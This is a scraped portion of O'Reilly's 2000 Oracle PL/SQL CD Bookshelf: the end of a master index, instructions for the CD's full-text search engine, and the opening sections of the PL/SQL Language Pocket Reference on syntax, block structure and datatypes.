stored functions and: 17.4. Restrictions on PL/SQL Functions in SQL, Oracle PL/SQL Programming
WHERE CURRENT OF clause: 6.11.2. The WHERE CURRENT OF Clause, Oracle PL/SQL Programming
WHILE loops
A.1.2. Loops, Advanced Oracle PL/SQL Programming with Packages
6.2.4. Loops, Oracle Web Applications
7.5. The WHILE Loop, Oracle PL/SQL Programming
7.7.2.2. EXIT and EXIT WHEN statements, Oracle PL/SQL Programming
formatting: 3.3.2. Formatting Loops, Oracle PL/SQL Programming
to fill table rows: 10.6.2. Iterative Assignment , Oracle PL/SQL Programming
WHO_CALLED_ME procedure: 7.4.1.1. Debugging, Oracle Web Applications
WNDS (writes no database state) purity level
2.4.1. Using Autonomous Transactions from Within SQL, Guide to Oracle8i Features
7.3.4. ADD_POLICY: Adding a Policy, Guide to Oracle8i Features
7.4. UTL_COLL: Using Collection Locators, Guide to Oracle8i Features
1.6.5.1. RESTRICT_REFERENCES pragma, Advanced Oracle PL/SQL Programming with Packages
1.6.5.2. Asserting the purity level of the initialization section, Advanced Oracle PL/SQL Programming with Packages
17.5.1. The RESTRICT_REFERENCES Pragma, Oracle PL/SQL Programming
WNPS (writes no package state) purity level
2.4.1. Using Autonomous Transactions from Within SQL, Guide to Oracle8i Features
7.4. UTL_COLL: Using Collection Locators, Guide to Oracle8i Features
1.6.5.1. RESTRICT_REFERENCES pragma, Advanced Oracle PL/SQL Programming with Packages
1.6.5.2. Asserting the purity level of the initialization section, Advanced Oracle PL/SQL Programming with Packages
17.5.1. The RESTRICT_REFERENCES Pragma, Oracle PL/SQL Programming
WORK keyword: 6.1.1. The COMMIT Statement, Oracle PL/SQL Programming
WRAP_UP procedure: C.13.7. The WRAP_UP procedure, Oracle PL/SQL Programming
WRB dispatcher: 4.1.3.2. WRB Executable Engines, Oracle Web Applications
WRB executable engines: 4.1.3.2. WRB Executable Engines, Oracle Web Applications
WRITE procedure
C.6.16. The WRITE procedure, Oracle PL/SQL Programming
8.1.1. DBMS_LOB Programs, Oracle Built-in Packages
8.3.3.5. The DBMS_LOB.WRITE procedure, Oracle Built-in Packages
WRITE_ERROR exception: 13.1.4. Handling UTL_FILE Errors, Advanced Oracle PL/SQL Programming with Packages
Web Request Broker (WRB): 4.1.3. Dynamic Resources Mapped to the Web Request Broker, Oracle Web Applications
Web-based applications, and Dynamic SQL: 4. Native Dynamic SQL in Oracle8i, Guide to Oracle8i Features
WebAlchemy: 7.1.2. WebAlchemy, Oracle Web Applications
WebDB
1.1. What's in Oracle8i Release 8.1?, Guide to Oracle8i Features
1.3. Oracle's Solution -- Oracle8i, Oracle Web Applications
1.3.5. WebDB, Oracle Web Applications
3. WebDB, Oracle Web Applications
application development: 3.1.2. Application Development, Oracle Web Applications
architecture: 3.2. WebDB Architecture, Oracle Web Applications
component: 3.1.3.1. User-uploaded content, Oracle Web Applications
content-driven web site management: 3.1.3. Content-Driven Web Site Management, Oracle Web Applications
database administration: 3.1.1. Database Administration, Oracle Web Applications
database object wizards: 3.1.2.1. Building database objects, Oracle Web Applications
wizards: 3.1.2.1. Building database objects, Oracle Web Applications
Windows 95: 2.2.1. The TCP/IP Network, Oracle Web Applications
Windows 98: 2.2.1. The TCP/IP Network, Oracle Web Applications
Windows NT: 2.2.1. The TCP/IP Network, Oracle Web Applications
determining free disk space (example): 21.1.1. Example: Determining Free Disk Space on Windows NT, Oracle PL/SQL Programming
warning messages: (see messages)
watch.pkg file: 6.2.1.3. Trapping system errors, Guide to Oracle8i Features
watch_bidding procedure: 3.2.3.5. The auction package, Oracle Built-in Packages
weak REF CURSOR type: (see cursor variables)
web applications
designing
1.4.2. Develop Web Applications with HTML and PL/SQL, Oracle Web Applications
8. Developing Applications, Oracle Web Applications
Example: a discussion forum: 8.3. Example 2: A Discussion Forum, Oracle Web Applications
Example: an anonymous survey: 8.2. Example 1: An Anonymous Survey, Oracle Web Applications
data models: 8.3.2. Data Model, Oracle Web Applications
using PL/SQL packages: 8.1.4. Use PL/SQL Packages, Oracle Web Applications
Enterprise Resource Planning (ERP) and: 1.1. The Internet Grows Up, Oracle Web Applications
e-commerce: 1.1. The Internet Grows Up, Oracle Web Applications
internal: 1.1. The Internet Grows Up, Oracle Web Applications
mobile: 1.1. The Internet Grows Up, Oracle Web Applications
web management, content driven: 1.3.5. WebDB, Oracle Web Applications
web site management, WebDB: 3.1.3. Content-Driven Web Site Management, Oracle Web Applications
web sites, tracking changes: 1.2.1.3. Tracking changes, Oracle Web Applications
web technologies: 1.1. The Internet Grows Up, Oracle Web Applications
application development: 1.2. Current Web Techniques Are Inadequate, Oracle Web Applications
application integration: 1.2. Current Web Techniques Are Inadequate, Oracle Web Applications
content management: 1.2. Current Web Techniques Are Inadequate, Oracle Web Applications
electronic data exchange: 1.2. Current Web Techniques Are Inadequate, Oracle Web Applications
inadequacies of current techniques: 1.2. Current Web Techniques Are Inadequate, Oracle Web Applications
what parameter
(see also DBMS_JOB)
job scheduling: 13.1.2.2. The what parameter, Oracle Built-in Packages
whitespace
2.2.2. Whitespace and Keywords, Oracle PL/SQL Programming
3.1.1. Revealing Logical Structure with Indentation, Oracle PL/SQL Programming
3.6.4. Maintain Indentation, Oracle PL/SQL Programming
adding to strings: 11.1.8. The LPAD function, Oracle PL/SQL Programming
and CHR function: 11.1.2. The CHR function, Oracle PL/SQL Programming
and justifying text: 11.2.3. Filling Text to Fit a Line, Oracle PL/SQL Programming
in CHAR variables: (see CHAR datatype)
in comments: 3.6.4. Maintain Indentation, Oracle PL/SQL Programming
in help text: 17.4.3. Creating Help Text, Advanced Oracle PL/SQL Programming with Packages
in tables: 5.25.5. Toggle for showing blanks in row, Advanced Oracle PL/SQL Programming with Packages
indentation
16.2.2.3. Changing indentation of generated code, Advanced Oracle PL/SQL Programming with Packages
16.3.1. Indentation in PLVgen, Advanced Oracle PL/SQL Programming with Packages
line separator: 7.2. The Line Separator, Advanced Oracle PL/SQL Programming with Packages
stripping from strings
11.1.12. The RTRIM function, Oracle PL/SQL Programming
11.1.9. The LTRIM function, Oracle PL/SQL Programming
suppressing: 14.3.1. FM: Suppressing Blanks and Zeros, Oracle PL/SQL Programming
whole numbers: 4.2.1.1. Binary integer datatypes, Oracle PL/SQL Programming
wildcarding correlation identifiers: 5.7.5.1. Wildcarded correlation identifiers, Oracle Built-in Packages
wildcards, drop_object procedure and: 19.4.1.3. Adding value with PL/SQL, Advanced Oracle PL/SQL Programming with Packages
windows: 2.7. Building Windows Into Your Packages, Advanced Oracle PL/SQL Programming with Packages
interface (trace): 2.7.2. Designing the Window Interface, Advanced Oracle PL/SQL Programming with Packages
wizards, WebDB: 3.1.2.1. Building database objects, Oracle Web Applications
word wrap: 11.2.2. Implementing Word Wrap for Long Text, Oracle PL/SQL Programming
work queue, managing (example): 6.13.2. Managing a Work Queue with SELECT FOR UPDATE, Oracle PL/SQL Programming
workflow management: 5. Oracle Advanced Queuing, Oracle Built-in Packages
wrap function: 5.21.2. Wrapping long strings into paragraphs , Advanced Oracle PL/SQL Programming with Packages
23.7.1. How to Encrypt Code, Oracle PL/SQL Programming
10.1.4.1. wrap procedure, Advanced Oracle PL/SQL Programming with Packages
wrapped_string function
5.21.2. Wrapping long strings into paragraphs , Advanced Oracle PL/SQL Programming with Packages
10.1.4.3. wrapped_string function, Advanced Oracle PL/SQL Programming with Packages
wrapping code: (see encrypting code)
wrapping text
5.21.2. Wrapping long strings into paragraphs , Advanced Oracle PL/SQL Programming with Packages
8.2.1. Displaying Wrapped Text, Advanced Oracle PL/SQL Programming with Packages
10.1.4. Wrapping Strings into Paragraphs, Advanced Oracle PL/SQL Programming with Packages
write-only parameters: (see OUT mode)
writing
to files:
13.6. Writing to a File, Advanced Oracle PL/SQL Programming with Packages
5.11.10. Writing to a file, Advanced Oracle PL/SQL Programming with Packages
to log files
(see also logging)
5.17.4. Writing to the log , Advanced Oracle PL/SQL Programming with Packages
to target repository
5.15.7. Reading and writing lines, Advanced Oracle PL/SQL Programming with Packages
12. PLVio: Reading and Writing PL/SQL Source Code, Advanced Oracle PL/SQL Programming with Packages
12.5. Managing the Target Repository, Advanced Oracle PL/SQL Programming with Packages
12.7. Writing to the Target, Advanced Oracle PL/SQL Programming with Packages

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 2000 O'Reilly & Associates, Inc. All rights reserved.


Master Index: X

Index: X

XML (Extensible Markup Language)
1.1. The Internet Grows Up, Oracle Web Applications
1.3. Oracle's Solution -- Oracle8i, Oracle Web Applications
1.3.3. XML, Oracle Web Applications
9. XML, Oracle Web Applications
DTDs: 9.3. The Document Type Definition (DTD), Oracle Web Applications
PLSXML: 9.6. PLSXML Utilities and Demos, Oracle Web Applications
generating an XML index from Oracle: 9.5. Example: Generating an XML Invoice from Oracle, Oracle Web Applications
iFS: 9.7. XML and iFS, Oracle Web Applications
parsers: 9.4. The XML Parser, Oracle Web Applications
XML_INVOICE_PKG: 9.5. Example: Generating an XML Invoice from Oracle, Oracle Web Applications
XOR bit operation: 9.2.3.4. The UTL_RAW.BIT_XOR function, Oracle Built-in Packages
XRANGE function: 9.2.3.17. The UTL_RAW.XRANGE function, Oracle Built-in Packages
xfile.pkg: 9.9.1. Extending File I/O Capabilities, Guide to Oracle8i Features
xon procedure: 11.2.3. DBMS_SYSTEM Examples, Oracle Built-in Packages

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 2000 O'Reilly & Associates, Inc. All rights reserved.


Master Index: Y

Index: Y

Yahoo!: 1.2.1.1. Finding what you need, Oracle Web Applications
year (see date and time)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 2000 O'Reilly & Associates, Inc. All rights reserved.


Master Index: Z

Index: Z

ZERO_DIVIDE exception: 8.3.1. Named System Exceptions , Oracle PL/SQL Programming
zoom.sql script: 4.5.1. Zooming in on help text, Advanced Oracle PL/SQL Programming with Packages
zooming in on help text: 4.5.1. Zooming in on help text, Advanced Oracle PL/SQL Programming with Packages

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 2000 O'Reilly & Associates, Inc. All rights reserved.


The Oracle PL/SQL CD Bookshelf Search Page

The Oracle PL/SQL CD Bookshelf

Full Text Search

If you are having difficulty searching, or if you have not used this search utility before, please read this.

The Oracle PL/SQL CD Bookshelf Navigation

The Oracle PL/SQL CD Bookshelf, Version 1.0, is © copyright 2000 by O'Reilly & Associates. All rights reserved.
Questions, comments, and suggestions to bookquestions@ora.com. Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Using the JObjects Search Engine

General Information

The search engine used on this CD-ROM is the QuestAgent Pro version 4.0.9. from JObjects (http://www.jobjects.com/). It uses a Java applet interface to query a pre-generated index of terms derived from the full text of all book pages on the CD-ROM. The applet and index are licensed to O'Reilly and Associates for use with the Oracle PL/SQL CD-ROM Bookshelf and may not be copied or redistributed for other purposes. See the copyright page for more information about restrictions on the content of this CD-ROM.

Requirements

The search engine should work with any Java-enabled browser supporting version Java 1.1.2 or later. It has been tested with Explorer 4.5 and Netscape 4.1 on Windows 95, Windows 98, Windows NT, Solaris, Linux, and Macintosh 8.5 operating systems.

Instructions

Search for a term in one book

  1. Open the search engine's web page on the CD-ROM by following the link from any page in the book. (It will be in a file called fsearch.htm in a subdirectory of the book called jobjects). Alternatively, you may use the top-level search page accessible from the main library page, but you must narrow the search to the book you want by selecting the title from the pop-up menu on the left side of the interface window.
  2. Select the text box at the top of the search interface window and type in a term.
  3. Click the Search button.
  4. The text box at the bottom of the interface window will show all matching results by filename.
  5. Click on a link in the text box or revise your search parameters.

Search for a term in all books

  1. Open the top-level search page on the CD-ROM by following the link from the main library page and select "Search Entire CD Bookshelf" from the popup menu on the left side of the interface window.
  2. Select the text box at the top of the search interface window and type in a term.
  3. Click the Search button.
  4. The text box at the bottom of the interface window will show all matching results by filename. To ascertain which book they are from, move the cursor over each link and observe the full path in the field above the text box that contains the book's short name (e.g. "ksh" for "Learning the Korn Shell").
  5. Click on a link in the text box or revise your search parameters.

Multiple terms and Boolean operators in searches

The QuestAgent Pro search engine understands simple "boolean operations." By default, if you type multiple terms separated by spaces, they will be treated as arguments to an AND. In other words, every matching file will have to contain all the terms.

Alternatively, you can insert the word "OR" between each term if you are interested in files that contain any of the terms.

The word "NOT" can be used before a term to require that it not be present in the files.

Parentheses can be used to group terms and operators.

Other functionality

Select the popup menu to the right of the text field to select a maximum number of results to display.

The field selector does not currently contain any items to narrow searching. Future CD-ROM's may use this feature, however.

The Oracle PL/SQL CD Bookshelf Navigation

The Oracle PL/SQL CD Bookshelf, Version 1.0, is © copyright 2000 by O'Reilly & Associates. All rights reserved.
Questions, comments, and suggestions to bookquestions@ora.com. Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] Oracle PL/SQL Language Pocket Reference

Oracle PL/SQL Language Pocket Reference

Oracle PL/SQL Language Pocket ReferenceSearch this book
Chapter 1 Next: 1.2 Acknowledgments

1. Oracle PL/SQL Language Pocket Reference

Contents:
Introduction
Acknowledgments
Conventions
PL/SQL Language Fundamentals
Variables and Program Data
Conditional and Sequential Control
Loops
Database Interaction and Cursors
Cursors in PL/SQL
Exception Handling
Records in PL/SQL
Named Program Units
Triggers
Packages
Calling PL/SQL Functions in SQL
Oracle8 Objects
Collections
External Procedures
Java Language Integration

1.1 Introduction

The Oracle PL/SQL Language Pocket Reference is a quick reference guide to the PL/SQL programming language, which provides procedural extensions to the SQL relational database language and a range of Oracle development tools.

Where a package, program, or function is supported only for a particular version of Oracle (e.g., Oracle8i), we indicate this in the text.

The purpose of this pocket reference is to help PL/SQL users find the syntax of specific language elements. It is not a self-contained user guide; basic knowledge of the PL/SQL programming language is required. For more information, see the following books:

Oracle PL/SQL Programming, 2nd Edition, by Steven Feuerstein with Bill Pribyl (O'Reilly & Associates, 1997).

Oracle Built-in Packages, by Steven Feuerstein, Charles Dye, and John Beresniewicz (O'Reilly & Associates, 1998).

Oracle PL/SQL Built-ins Pocket Reference, by Steven Feuerstein, John Beresniewicz, and Chip Dawes (O'Reilly & Associates, 1998).

Oracle PL/SQL Language Pocket Reference | Next: 1.2 Acknowledgments
 | 1.2 Acknowledgments
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] 1.2 Acknowledgments

Oracle PL/SQL Language Pocket Reference

Oracle PL/SQL Language Pocket ReferenceSearch this book

1.2 Acknowledgments

We would like to thank our reviewers: Eric J. Givler, Department of Environmental Protection, Harrisburg, Pennsylvania; and Stephen Nelson, HK Systems, New Berlin, Wisconsin.

Previous: 1.1 Introduction | Oracle PL/SQL Language Pocket Reference | Next: 1.3 Conventions
1.1 Introduction |  | 1.3 Conventions
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] 1.3 Conventions

Oracle PL/SQL Language Pocket Reference

Oracle PL/SQL Language Pocket ReferenceSearch this book

1.3 Conventions

UPPERCASE indicates PL/SQL keywords.

lowercase indicates user-defined items such as parameters.

Italic indicates file names and parameters within text.

Constant width is used for code examples.

[] enclose optional items in syntax descriptions.

{ } enclose a list of items in syntax descriptions; you must choose one item from the list.

| separates bracketed list items in syntax descriptions.

Previous: 1.2 Acknowledgments | Oracle PL/SQL Language Pocket Reference | Next: 1.4 PL/SQL Language Fundamentals
1.2 Acknowledgments |  | 1.4 PL/SQL Language Fundamentals
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] 1.4 PL/SQL Language Fundamentals

Oracle PL/SQL Language Pocket Reference

Oracle PL/SQL Language Pocket ReferenceSearch this book

1.4 PL/SQL Language Fundamentals

1.4.1 The PL/SQL Character Set

The PL/SQL language is constructed from letters, digits, symbols, and whitespace, as defined in the following table.

Type | Characters
Letters | A-Z, a-z
Digits | 0-9
Symbols | ~!@#$%&*()_-+=|[ ]{ }:;"'< >?/
Whitespace | space, tab, carriage return

Characters are grouped together into the four lexical units: identifiers, literals, delimiters, and comments.

1.4.1.1 Identifiers

Identifiers are names for PL/SQL objects such as constants, variables, exceptions, procedures, cursors, and reserved words. Identifiers:

  • Can be up to 30 characters in length

  • Cannot include whitespace (space, tab, carriage return)

  • Must start with a letter

  • Can include a dollar sign ($), an underscore ( _ ), and a pound sign (#)

  • Are not case-sensitive

If you enclose an identifier within double quotes, then all but the first of these rules are ignored. For example, the following declaration is valid:

DECLARE
   "1 ^abc"  VARCHAR2(100);
BEGIN
   IF "1 ^abc" IS NULL THEN ...
END;

1.4.1.2 Literals

Literals are specific values not represented by identifiers. For example, TRUE, 3.14159, 6.63E-34, `Moby Dick', and NULL are all literals of type Boolean, number, or string. There are no date or complex datatype literals as they are internal representations. Unlike the rest of PL/SQL, literals are case-sensitive. To embed single quotes within a string literal, place two single quotes next to each other. See the following table for examples.

Literal | Actual Value
'That''s Entertainment!' | That's Entertainment!
'"The Raven"' | "The Raven"
'TZ="CDT6CST"' | TZ='CDT6CST'
'''' | '
'''hello world''' | 'hello world'
'''''' | ''

1.4.1.3 Delimiters

Delimiters are symbols with special meaning, such as := (assignment operator), || (concatenation operator), and ; (statement delimiter). The following table lists delimiters.

Delimiter | Description
; | Statement terminator
+ | Addition operator
- | Subtraction operator
* | Multiplication operator
/ | Division operator
** | Exponentiation operator
|| | Concatenation operator
:= | Assignment operator
= | Equality operator
<> and != | Inequality operators
^= and ~= | Inequality operators
< | "Less than" operator
<= | "Less than or equal to" operator
> | "Greater than" operator
>= | "Greater than or equal to" operator
( and ) | Expression or list delimiters
<< and >> | Label delimiters
, | Item separator
` | Literal delimiter
" | Quoted literal delimiter
: | Host variable indicator
% | Attribute indicator
. | Component indicator (as in record.field or package.element)
@ | Remote database indicator (database link)
=> | Association operator (named notation)
.. | Range operator (used in the FOR loop)
-- | Single-line comment indicator
/* and */ | Multiline comment delimiters

1.4.1.4 Comments

Comments are sections of the code that exist to aid readability. The compiler ignores them.

A single-line comment begins with a double hyphen (‐‐) and ends with a new line. The compiler ignores all characters between the ‐‐ and the new line.

Multiline comments begin with slash asterisk (/*) and end with asterisk slash (*/). The /* */ comment delimiters can also be used on a single-line comment. The following block demonstrates both kinds of comments:

DECLARE
   -- Two dashes comment out only the physical line.
   /* Everything is a comment until the compiler
      encounters the following symbol */

You cannot embed multiline comments within a multiline comment, so care needs to be exercised during development if you comment out portions of code that include comments. The following code demonstrates:

DECLARE
   /* Everything is a comment until the compiler
      /* This comment inside another WON'T work!*/
      encounters the following symbol. */

   /* Everything is a comment until the compiler
      -- This comment inside another WILL work!
      encounters the following symbol. */

1.4.1.5 Pragmas

The PRAGMA keyword is used to give instructions to the compiler. There are four types of pragmas in PL/SQL:

EXCEPTION_INIT

Tells the compiler to associate the specified error number with an identifier that has been declared an EXCEPTION in your current program or an accessible package. See the Section 1.10, "Exception Handling " section for more information on this pragma.

RESTRICT_REFERENCES

Tells the compiler the purity level of a packaged program. The purity level is the degree to which a program does not read/write database tables and/or package variables. See the Section 1.15, "Calling PL/SQL Functions in SQL" section for more information on this pragma.

SERIALLY_REUSABLE

Tells the runtime engine that package data should not persist between references. This is used to reduce per-user memory requirements when the package data is only needed for the duration of the call and not for the duration of the session. See the Section 1.14, "Packages" section for more information on this pragma.

AUTONOMOUS_TRANSACTION (Oracle8i )

Tells the compiler that the function, procedure, top-level anonymous PL/SQL block, object method, or database trigger executes in its own transaction space. See the Section 1.8, "Database Interaction and Cursors " section for more information on this pragma.

1.4.1.6 Statements

A PL/SQL program is composed of one or more logical statements. A statement is terminated by a semicolon delimiter. The physical end-of-line marker in a PL/SQL program is ignored by the compiler, except to terminate a single-line comment (initiated by the ‐‐ symbol).

1.4.1.7 Block structure

Each PL/SQL program is a block consisting of a standard set of elements, identified by keywords (see Figure 1.1). The block determines the scope of declared elements, and how exceptions are handled and propagated. A block can be anonymous or named. Named blocks include functions, procedures, packages, and triggers. Here is an example of an anonymous block:

DECLARE
   whoops NUMBER DEFAULT 99;
BEGIN
   -- Display a two-digit year number.
   DBMS_OUTPUT.PUT_LINE ('What century?  ' || whoops);
END;

Here is a named block that performs the same action:

CREATE OR REPLACE PROCEDURE show_the_problem
IS
   whoops NUMBER DEFAULT 99;
BEGIN
   -- Display a two-digit year number.
   DBMS_OUTPUT.PUT_LINE ('What century?  ' || whoops);
END show_the_problem;

Figure 1.1: The PL/SQL block structure

The following table describes the sections of a PL/SQL block:

Section | Description
Header | Required for named blocks. Specifies the way the program is called by outer PL/SQL blocks. Anonymous blocks do not have a header. They start with the DECLARE keyword if there is a declaration section, or with the BEGIN keyword if there are no declarations.
Declaration | Optional; declares variables, cursors, TYPEs, and local programs that are used in the block's execution and exception sections.
Execution | Optional in package and type specifications; contains statements that are executed when the block is run.
Exception | Optional; describes error handling behavior for exceptions raised in the executable section.

Previous: 1.3 Conventions | Oracle PL/SQL Language Pocket Reference | Next: 1.5 Variables and Program Data
1.3 Conventions |  | 1.5 Variables and Program Data
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] 1.5 Variables and Program Data

Oracle PL/SQL Language Pocket Reference

Oracle PL/SQL Language Pocket ReferenceSearch this book

1.5 Variables and Program Data

PL/SQL programs are normally used to manipulate database information. You commonly do this by declaring variables and data structures in your programs, and then working with that PL/SQL-specific data.

A variable is a named instantiation of a data structure declared in a PL/SQL block (either locally or in a package). Unless you declare a variable as a CONSTANT, its value can be changed at any time in your program.

The following table describes several types of program data.

Type | Description
Scalar | Variables made up of a single value, such as a number, date, or Boolean.
Composite | Variables made up of multiple values, such as a record or collection.
Reference | Pointers to values.
LOB | Variables containing Large OBject (LOB) locators.

1.5.1 Scalar Datatypes

Scalar datatypes divide into four families: number, character, date-time, and Boolean.

1.5.1.1 Numeric datatypes

Numeric datatypes are further divided into decimal, binary integer, and PLS_INTEGER storage types.

Decimal numeric datatypes store fixed and floating-point numbers of just about any size. They include NUMBER, DEC, DECIMAL, NUMERIC, FLOAT, REAL, and DOUBLE PRECISION. The maximum precision of a variable with type NUMBER is 38 digits, which yields a range of values from 1.0E-129 through 9.999E125. This range of numbers would include the mass of an electron over the mass of the universe or the size of the universe in angstroms.

Variables of type NUMBER can be declared with precision and scale, as follows:

NUMBER(precision, scale)

Precision is the number of digits, and scale denotes the number of digits to the right (positive scale) or left (negative scale) of the decimal point at which rounding occurs. Legal values for the scale range from -84 to 127. The following table shows examples of precision and scale.

Declaration | Assigned Value | Stored Value
NUMBER | 6.02 | 6.02
NUMBER(4) | 8675 | 8675
NUMBER(4) | 8675309 | Error
NUMBER(12,5) | 3.14159265 | 3.14159
NUMBER(12,-5) | 8675309 | 8700000

Binary integer numeric datatypes store whole numbers. They include BINARY_INTEGER, INTEGER, INT, SMALLINT, NATURAL, NATURALN, POSITIVE, POSITIVEN, and SIGNTYPE. Binary integer datatypes store signed integers in the range of -231 + 1 to 231 - 1. The subtypes include NATURAL (0 through 231) and POSITIVE (1 through 231) together with the NOT NULL variations NATURALN and POSITIVEN. SIGNTYPE is restricted to three values (-1, 0, 1).

PLS_INTEGER datatypes have the same range as the BINARY_INTEGER datatype, but use machine arithmetic instead of library arithmetic, so are slightly faster for computation-heavy processing.

The following table lists the PL/SQL numeric datatypes with ANSI and IBM compatibility.

PL/SQL Datatype | Compatibility | Oracle RDNMS Datatype
DEC(prec,scale) | ANSI | NUMBER(prec,scale)
DECIMAL(prec,scale) | IBM | NUMBER(prec,scale)
DOUBLE PRECISION | ANSI | NUMBER
FLOAT(binary) | ANSI, IBM | NUMBER
INT | ANSI | NUMBER(38)
INTEGER | ANSI, IBM | NUMBER(38)
NUMERIC(prec,scale) | ANSI | NUMBER(prec,scale)
REAL | ANSI | NUMBER
SMALLINT | ANSI, IBM | NUMBER(38)

In the preceding table:

  • prec is the precision for the subtype.

  • scale is the scale of the subtype.

  • binary is the binary precision of the subtype.

1.5.1.2 Character datatypes

Character datatypes store alphanumeric text and are manipulated by character functions. As with the numeric family, there are several subtypes in the character family, shown in the following table.

Family | Description
CHAR | Fixed-length alphanumeric strings. Valid sizes are 1 to 32767 bytes (which is larger than the Oracle7 limit of 2000 and the Oracle8 limit of 4000).
VARCHAR2 | Variable-length alphanumeric strings. Valid sizes are 1 to 32767 bytes (which is larger than the Oracle7 limit of 2000 and the Oracle8 limit of 4000).
LONG | Variable-length alphanumeric strings. Valid sizes are 1 to 32760 bytes. LONG is included primarily for backward compatibility since longer strings can now be stored in VARCHAR2 variables.
RAW | Variable-length binary strings. Valid sizes are 1 to 32767 bytes (which is larger than the Oracle7 and Oracle8 limit of 2000). RAW data do not undergo character set conversion when selected from a remote database.
LONG RAW | Variable-length binary strings. Valid sizes are 1 to 32760 bytes. LONG RAW is included primarily for backward compatibility since longer strings can now be stored in RAW variables.
ROWID | Fixed-length binary data. Every row in a database has a physical address or ROWID. An Oracle7 (restricted) ROWID has 3 parts in base 16 (hex): BBBBBBBB.RRRR.FFFF. An Oracle8 (extended) ROWID has 4 parts in base 64: OOOOOOFFFBBBBBBRRR. where: OOOOOO is the object number. FFFF (FFF) is the absolute (Oracle 7) or relative (Oracle8) file number. BBBBBBBB (BBBBBB) is the block number within the file. RRRR (RRR) is the row number within the block.
UROWID (Oracle8i) | Universal ROWID. Variable-length hexadecimal string depicting a logical ROWID. Valid sizes are up to 4000 bytes. Used to store the addresses of rows in index organized tables or IBM DB2 tables via Gateway.

1.5.1.3 Date-time datatypes

DATE values are fixed-length, date-plus-time values. The DATE datatype can store dates from January 1, 4712 B.C. to December 31, 4712 A.D. Each DATE includes the century, year, month, day, hour, minute, and second. Sub-second granularity is not supported via the DATE datatype. The time portion of a DATE defaults to midnight (12:00:00 AM) if it is not included explicitly. The internal calendar follows the Papal standard of Julian to Gregorian conversion in 1582 rather than the English standard (1752) found in many operating systems.

1.5.1.4 Boolean datatype

The BOOLEAN datatype can store one of only three values: TRUE, FALSE, or NULL. BOOLEAN variables are usually used in logical control structures such as IF...THEN or LOOP statements.

Following are truth tables showing the results of logical AND, OR, and NOT operations with PL/SQL's three-value Boolean model.

AND | TRUE | FALSE | NULL
TRUE | TRUE | FALSE | NULL
FALSE | FALSE | FALSE | FALSE
NULL | NULL | FALSE | NULL

OR | TRUE | FALSE | NULL
TRUE | TRUE | TRUE | TRUE
FALSE | TRUE | FALSE | NULL
NULL | TRUE | NULL | NULL

NOT (TRUE) | NOT (FALSE) | NOT (NULL)
FALSE | TRUE | NULL

1.5.2 NLS Character Datatypes

The standard ASCII character set does not support some languages, such as Chinese, Japanese, or Korean. To support these multibyte character sets, PL/SQL8 supports two character sets, the database character set and the national character set (NLS). There are two datatypes, NCHAR and NVARCHAR2, that can be used to store data in the national character set.

NCHAR values are fixed-length NLS character data; the maximum length is 32767 bytes. For variable-length character sets (like JA16SJIS), the length specification is in bytes; for fixed-length character sets, it is in characters.

NVARCHAR2 values are variable-length NLS character data. The maximum length is 32767 bytes, and the length specification follows the same fixed/variable-length rule as NCHAR values.

1.5.3 LOB Datatypes

PL/SQL8 supports a number of Large OBject (LOB) datatypes, which can store objects of up to four gigabytes of data. Unlike the scalar datatypes, variables declared for LOBs use locators, or pointers to the actual data. LOBs are manipulated in PL/SQL using the built-in package DBMS_LOB.

BFILE

File locators pointing to read-only large binary objects in operating system files. With BFILEs, the large objects are outside the database.

BLOB

LOB locators that point to large binary objects inside the database.

CLOB

LOB locators that point to large "character" (alphanumeric) objects inside the database.

NCLOB

LOB locators that point to large national character set objects inside the database.

1.5.4 NULLs in PL/SQL

PL/SQL represents unknown values as NULL values. Since a NULL is unknown, a NULL is never equal or not equal to anything (including another NULL value). Additionally, most functions return a NULL when passed a NULL argument -- the notable exceptions are NVL, CONCAT, and REPLACE. You cannot check for equality or inequality to NULL; therefore, you must use the IS NULL or IS NOT NULL syntax to check for NULL values.

Here is an example of the IS NULL syntax to check the value of a variable:

BEGIN
   IF myvar IS NULL
   THEN
      ...

1.5.5 Declaring Variables

Before you can use a variable, you must first declare it in the declaration section of your PL/SQL block or in a package as a global. When you declare a variable, PL/SQL allocates memory for the variable's value and names the storage location so that the value can be retrieved and changed. The syntax for a variable declaration is:

variable_name datatype [CONSTANT] [NOT NULL]
   [:= | DEFAULT initial_value]

